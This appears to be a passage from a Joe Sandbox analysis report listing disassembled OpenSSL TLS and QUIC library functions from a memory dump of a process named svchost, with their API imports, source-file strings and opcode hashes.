Function 00007FFBAB4220C0 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

BIO_s_file.LIBCRYPTO-3-X64 ref: 00007FFBAB422119
BIO_new.LIBCRYPTO-3-X64 ref: 00007FFBAB422121
BIO_ctrl.LIBCRYPTO-3-X64 ref: 00007FFBAB422141
ERR_set_mark.LIBCRYPTO-3-X64 ref: 00007FFBAB422191
BIO_ctrl.LIBCRYPTO-3-X64 ref: 00007FFBAB4221C2
OSSL_DECODER_CTX_free.LIBCRYPTO-3-X64 ref: 00007FFBAB4221CE
ERR_clear_last_mark.LIBCRYPTO-3-X64 ref: 00007FFBAB4221DA
ERR_pop_to_mark.LIBCRYPTO-3-X64 ref: 00007FFBAB4221E1
EVP_PKEY_free.LIBCRYPTO-3-X64 ref: 00007FFBAB422229
BIO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB422231

Strings

PEM, xrefs: 00007FFBAB422161

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_ctrl$O_freeO_newO_s_fileR_clear_last_markR_pop_to_markR_set_markX_freeY_free
String ID: PEM
API String ID: 753178889-379482575
Opcode ID: e927e7a33dc3b8603c3cdaf5b3c9479e23448344002fab8ad0ab43fd64048534
Instruction ID: e90cb8517ce3ccd482e50d9c5f49480430359b9b47f3564613366fc62c718ad6
Opcode Fuzzy Hash: e927e7a33dc3b8603c3cdaf5b3c9479e23448344002fab8ad0ab43fd64048534
Instruction Fuzzy Hash: 9B416FB2A0AB4281FA269B76E44167E7290EF84BC0F049135EE6D47BA6DE3DE401D710

Function 00007FFBAB44E7B0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 106COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB44E871
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB44E889
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB44E8DB
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB44E8F3
OSSL_ERR_STATE_new.LIBCRYPTO-3-X64 ref: 00007FFBAB44E904
OSSL_ERR_STATE_save.LIBCRYPTO-3-X64 ref: 00007FFBAB44E918

Strings

forgery limit, xrefs: 00007FFBAB44E8A6
ch_rx_check_forged_pkt_limit, xrefs: 00007FFBAB44E8E0
ossl_quic_channel_raise_protocol_error_loc, xrefs: 00007FFBAB44E876
ssl\quic\quic_channel.c, xrefs: 00007FFBAB44E882, 00007FFBAB44E8EC
QUIC error code: 0x%llx%s%s%s, reason: "%s", xrefs: 00007FFBAB44E8B2

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_set_debug$E_newE_saveR_newR_set_error
String ID: QUIC error code: 0x%llx%s%s%s, reason: "%s"$ch_rx_check_forged_pkt_limit$forgery limit$ossl_quic_channel_raise_protocol_error_loc$ssl\quic\quic_channel.c
API String ID: 2363558997-109013121
Opcode ID: 5103d72ccc1721e5e6ece00c8ca9d279deb014c3c3a7ff7981f06d53f5991793
Instruction ID: d866857d40a443c3266f655485de5b9db6d2e0b0e3e64b6d4c406f1b5693e8b5
Opcode Fuzzy Hash: 5103d72ccc1721e5e6ece00c8ca9d279deb014c3c3a7ff7981f06d53f5991793
Instruction Fuzzy Hash: 8941B4B2A0EB9282FA55EB20E4503B973A5EB84780F448135DFAD43BA5DF3CE546C704

Function 00007FFBAB444EA0 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

BN_ucmp.LIBCRYPTO-3-X64 ref: 00007FFBAB444EDB
BN_num_bits.LIBCRYPTO-3-X64 ref: 00007FFBAB444F03
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB444F10
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB444F28

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB444F67
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB444F7F
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB444FD4
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB444FEC

Strings

srp_verify_server_param, xrefs: 00007FFBAB444F1A, 00007FFBAB444F6C, 00007FFBAB444FD9
ssl\tls_srp.c, xrefs: 00007FFBAB444F21, 00007FFBAB444F78, 00007FFBAB444FE5

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$N_num_bitsN_ucmpR_vset_error
String ID: srp_verify_server_param$ssl\tls_srp.c
API String ID: 2242215446-1772774368
Opcode ID: 73d97b3cb48666df6e1ab435c8d32a358283c4f6a6a6a512923b1aa231862c96
Instruction ID: 15ecbd7671a578c6fbed2cb8711058460a99f94b2955a75b95693c858ec7bd3c
Opcode Fuzzy Hash: 73d97b3cb48666df6e1ab435c8d32a358283c4f6a6a6a512923b1aa231862c96
Instruction Fuzzy Hash: 743180F0F4A54341FB56AB72D8A27F91350AF80B84F488431DD2D876F6DE2CE5968311

Function 00007FFBAB432B50 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB432B6E
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB432B84
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB432B94
EVP_PKEY_new.LIBCRYPTO-3-X64 ref: 00007FFBAB432BAB
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB432BB8
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB432BCE
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB432BDE

Strings

ssl\ssl_rsa_legacy.c, xrefs: 00007FFBAB432B7D, 00007FFBAB432BC7
SSL_CTX_use_RSAPrivateKey, xrefs: 00007FFBAB432B73, 00007FFBAB432BBD

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_set_error$Y_new
String ID: SSL_CTX_use_RSAPrivateKey$ssl\ssl_rsa_legacy.c
API String ID: 2166683265-1409161961
Opcode ID: 2a8756bd538d615ab31598c6ff8793c252482272826b21cb4106fb6848fe224d
Instruction ID: 083cfbd86796a6ded14c639707a534f52d512130288ad121e00c0e04df775e22
Opcode Fuzzy Hash: 2a8756bd538d615ab31598c6ff8793c252482272826b21cb4106fb6848fe224d
Instruction Fuzzy Hash: CF21D6B1B5D64281EA56FB76E5821FD2351EF487C4F089434EE2D47BA7DE2CE4468700

Function 00007FFBAB466AEF Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 47COMMON

Download Yara Rule

APIs

BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466B38
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466B64
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466B77
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466B90
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466BA1
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466FC9

Strings

<unexpected trailing frame data skipped>, xrefs: 00007FFBAB466FBF
Stream id: %llu, xrefs: 00007FFBAB466B5A
Offset: %llu, xrefs: 00007FFBAB466B6D
Len: <implicit length>, xrefs: 00007FFBAB466B9A
Len: %llu, xrefs: 00007FFBAB466B89

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_printfO_puts
String ID: <unexpected trailing frame data skipped>$ Len: %llu$ Len: <implicit length>$ Offset: %llu$ Stream id: %llu
API String ID: 3964688267-1947365733
Opcode ID: 8093ca9b74c9643fa43f1d33d32e90ff7d11a8e74e6d4d7242e2012fa385b179
Instruction ID: f05300e1ee54756cdfdf7bc6c434b9b58cadb2bb68d01705f905ac30449301fa
Opcode Fuzzy Hash: 8093ca9b74c9643fa43f1d33d32e90ff7d11a8e74e6d4d7242e2012fa385b179
Instruction Fuzzy Hash: C7113DE1E4A65390FE26DBB5E8613FC1760AF45788F449036DE2E171B6DE3CE5868300

Function 00007FFBAB43A2E0 Relevance: 18.2, APIs: 12, Instructions: 177COMMON

Download Yara Rule

APIs

OPENSSL_sk_value.LIBCRYPTO-3-X64 ref: 00007FFBAB43A312
X509_get0_pubkey.LIBCRYPTO-3-X64 ref: 00007FFBAB43A35B
EVP_PKEY_get_security_bits.LIBCRYPTO-3-X64 ref: 00007FFBAB43A368
X509_get_extension_flags.LIBCRYPTO-3-X64 ref: 00007FFBAB43A3AD
X509_get_signature_info.LIBCRYPTO-3-X64 ref: 00007FFBAB43A3D2

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: L_sk_valueX509_get0_pubkeyX509_get_extension_flagsX509_get_signature_infoY_get_security_bits
String ID:
API String ID: 3095628011-0
Opcode ID: fbcc320e21d23323723f41f44f8e4fb93ef4d914d27502601e0add2749c55346
Instruction ID: 1122ce2be60c1f4885d54c7b405e49d42a5d89a0a16c2ad95e33da14b49c382f
Opcode Fuzzy Hash: fbcc320e21d23323723f41f44f8e4fb93ef4d914d27502601e0add2749c55346
Instruction Fuzzy Hash: CB51B6A3A5E7D242EAB69A35E4017BE6280BF95784F18C135EDBE47BE5DE3CD4004A00

Function 00007FFBAB48C160 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB48C1CD
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB48C1E5

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB48C226
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB48C23E
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB48C28C
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB48C2A4
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB48C35D
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB48C375

Strings

tls_construct_client_certificate, xrefs: 00007FFBAB48C1D2, 00007FFBAB48C22B, 00007FFBAB48C291, 00007FFBAB48C362
ssl\statem\statem_clnt.c, xrefs: 00007FFBAB48C1DE, 00007FFBAB48C237, 00007FFBAB48C29D, 00007FFBAB48C36E

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$R_vset_error
String ID: ssl\statem\statem_clnt.c$tls_construct_client_certificate
API String ID: 4275876640-1158595938
Opcode ID: ecb36ae535def2a8a0bb8f8aae1715f9bdc2774aaefeed1e3ba6e574470dde25
Instruction ID: 6088f1e72e3093ef364879f5bd285603a08fc772722b9fd4d95214e12a7f2b04
Opcode Fuzzy Hash: ecb36ae535def2a8a0bb8f8aae1715f9bdc2774aaefeed1e3ba6e574470dde25
Instruction Fuzzy Hash: ED5196A2F0D28281E7A2DBB6E4817BD2350EB45BC4F44C432DE6D976E6DF2CE4858711

Function 00007FFBAB48CFA0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64(?,00007FFBAB48CD10), ref: 00007FFBAB48CFC3
ERR_set_debug.LIBCRYPTO-3-X64(?,00007FFBAB48CD10), ref: 00007FFBAB48CFDB

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

Strings

tls_post_process_server_rpk, xrefs: 00007FFBAB48CFC8, 00007FFBAB48D054, 00007FFBAB48D0BE
ssl\statem\statem_clnt.c, xrefs: 00007FFBAB48CFD4, 00007FFBAB48D060, 00007FFBAB48D0CA

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_vset_error
String ID: ssl\statem\statem_clnt.c$tls_post_process_server_rpk
API String ID: 1390262125-914124065
Opcode ID: a01180393a9eba5e7ea13f841cdd70baf97bfa94b40e1f20ad16e0a070db3694
Instruction ID: 3f9129db68843c966c5fa11a19b33378c7db50ca400bd15a9f837abec253b95c
Opcode Fuzzy Hash: a01180393a9eba5e7ea13f841cdd70baf97bfa94b40e1f20ad16e0a070db3694
Instruction Fuzzy Hash: 4E515EB2A0AA4281E752DB76C4957BC2390FB84B88F54C136DE2C8B3B5DF2DD5D68710

Function 00007FFBAB4882B3 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 111COMMON

Download Yara Rule

APIs

ERR_clear_error.LIBCRYPTO-3-X64 ref: 00007FFBAB4882FD
SetLastError.KERNEL32 ref: 00007FFBAB488304
BUF_MEM_free.LIBCRYPTO-3-X64 ref: 00007FFBAB48853E
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB488609
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB488621
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB48863B
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB488653
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB488664

Strings

state_machine, xrefs: 00007FFBAB48860E, 00007FFBAB488640
ssl\statem\statem.c, xrefs: 00007FFBAB48861A, 00007FFBAB48864C

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$ErrorLastM_freeR_clear_errorR_set_error
String ID: ssl\statem\statem.c$state_machine
API String ID: 2605663294-1334640251
Opcode ID: f88b4284e0f136a48fb2270b4d1d8eeff9862083b4885e9905f064b9672390eb
Instruction ID: ddd60370403f931cc9279afcc263b3866f3e9fb046cc37835e6a1b9a45a0beaa
Opcode Fuzzy Hash: f88b4284e0f136a48fb2270b4d1d8eeff9862083b4885e9905f064b9672390eb
Instruction Fuzzy Hash: 1C41AFB1A0A242CAFA669BB5D4513BD2BA1FF40B80F48C435DE2D466B6DF3DE844C611

Function 00007FFBAB48AC20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBAB41D250: OBJ_nid2sn.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB43B8EA,00000000,?,00000000,?,?,?,00000001,00007FFBAB43CAB7,?,00007FFBAB417658), ref: 00007FFBAB41D287
Part of subcall function 00007FFBAB41D250: EVP_PKEY_is_a.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB43B8EA,00000000,?,00000000,?,?,?,00000001,00007FFBAB43CAB7,?,00007FFBAB417658), ref: 00007FFBAB41D2AC
Part of subcall function 00007FFBAB41D250: OBJ_nid2sn.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB43B8EA,00000000,?,00000000,?,?,?,00000001,00007FFBAB43CAB7,?,00007FFBAB417658), ref: 00007FFBAB41D2DE
Part of subcall function 00007FFBAB41D250: EVP_PKEY_is_a.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB43B8EA,00000000,?,00000000,?,?,?,00000001,00007FFBAB43CAB7,?,00007FFBAB417658), ref: 00007FFBAB41D2E9
Part of subcall function 00007FFBAB41D250: OBJ_nid2ln.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB43B8EA,00000000,?,00000000,?,?,?,00000001,00007FFBAB43CAB7,?,00007FFBAB417658), ref: 00007FFBAB41D2F4
Part of subcall function 00007FFBAB41D250: EVP_PKEY_is_a.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB43B8EA,00000000,?,00000000,?,?,?,00000001,00007FFBAB43CAB7,?,00007FFBAB417658), ref: 00007FFBAB41D2FF

ERR_new.LIBCRYPTO-3-X64(?,00007FFBAB48E1D5), ref: 00007FFBAB48AC8A
ERR_set_debug.LIBCRYPTO-3-X64(?,00007FFBAB48E1D5), ref: 00007FFBAB48ACA2

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB48ACDE
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB48ACF6
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB48AD4E
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB48AD66
ERR_new.LIBCRYPTO-3-X64(?,00007FFBAB48E1D5,?,?,?,?,?,?), ref: 00007FFBAB48AD73
ERR_set_debug.LIBCRYPTO-3-X64(?,00007FFBAB48E1D5,?,?,?,?,?,?), ref: 00007FFBAB48AD8B

Strings

ssl3_check_cert_and_algorithm, xrefs: 00007FFBAB48AC8F, 00007FFBAB48ACE3, 00007FFBAB48AD53, 00007FFBAB48AD78
ssl\statem\statem_clnt.c, xrefs: 00007FFBAB48AC9B, 00007FFBAB48ACEF, 00007FFBAB48AD5F, 00007FFBAB48AD84

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$Y_is_a$J_nid2sn$J_nid2lnR_vset_error
String ID: ssl3_check_cert_and_algorithm$ssl\statem\statem_clnt.c
API String ID: 75950454-762223334
Opcode ID: 6ec53f764d8173ae9a0e672e220565c7077c86d8d9e0f3c85db63dde2cc7d464
Instruction ID: fcc35bf371722de01d18b17d5a1a06dd7340251b59e523444c9664e2bad5181e
Opcode Fuzzy Hash: 6ec53f764d8173ae9a0e672e220565c7077c86d8d9e0f3c85db63dde2cc7d464
Instruction Fuzzy Hash: 724195B1A0A68281F7A2DB75E4417FD2351EF84794F448031EE2D877B6DE6DE885C700

Function 00007FFBAB489C93 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 99COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB495B08
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB495B20

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB495B45
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB495B5D
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB495B86
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB495B9E
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB495BD4
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB495BEC

Strings

tls_process_change_cipher_spec, xrefs: 00007FFBAB495B0D, 00007FFBAB495B4A, 00007FFBAB495B8B, 00007FFBAB495BD9
ssl\statem\statem_lib.c, xrefs: 00007FFBAB495B19, 00007FFBAB495B56, 00007FFBAB495B97, 00007FFBAB495BE5

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$R_vset_error
String ID: ssl\statem\statem_lib.c$tls_process_change_cipher_spec
API String ID: 4275876640-357517272
Opcode ID: d69fb330a46a4883bb35be0970d106fb875256030d65defc9c0906012a733fde
Instruction ID: cfea5178e80d28ee8ed5b57bd2668639c5c96739aee864f8626637bb59dca264
Opcode Fuzzy Hash: d69fb330a46a4883bb35be0970d106fb875256030d65defc9c0906012a733fde
Instruction Fuzzy Hash: 49413BB2E0A24686FBA79B72D4927FD2350EF44744F448432CE2D43AA6DF6CE5C98710

Function 00007FFBAB4801A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 94COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB48023A
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB480252
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB480262
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB48027A
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB4802A0
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB4802B8
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB480300
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB480318

Strings

ssl\statem\extensions_clnt.c, xrefs: 00007FFBAB48024B, 00007FFBAB480273, 00007FFBAB4802B1, 00007FFBAB480311
tls_parse_stoc_early_data, xrefs: 00007FFBAB48023F, 00007FFBAB480267, 00007FFBAB4802A5, 00007FFBAB480305

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug
String ID: ssl\statem\extensions_clnt.c$tls_parse_stoc_early_data
API String ID: 193678381-3720901860
Opcode ID: 5dc9a4f8d39dfe3ecc04f1a0088b0636e01fa56ef4e94fd03c5afca0973d748b
Instruction ID: 3d00d90616d9a94c544906b64fd67e1231797656741711d458e0622385ea8d78
Opcode Fuzzy Hash: 5dc9a4f8d39dfe3ecc04f1a0088b0636e01fa56ef4e94fd03c5afca0973d748b
Instruction Fuzzy Hash: 1841A2A1A0A68282F7679BB5D4567FC27A0EB40740F44C432DE2D477F2DE6CA9C9C711

Function 00007FFBAB436B80 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 71COMMON

Download Yara Rule

APIs

BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB436BCC
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB436BE3
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB436C13
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB436C32
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB436C60
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB436C7C

Strings

Session-ID:, xrefs: 00007FFBAB436BD9
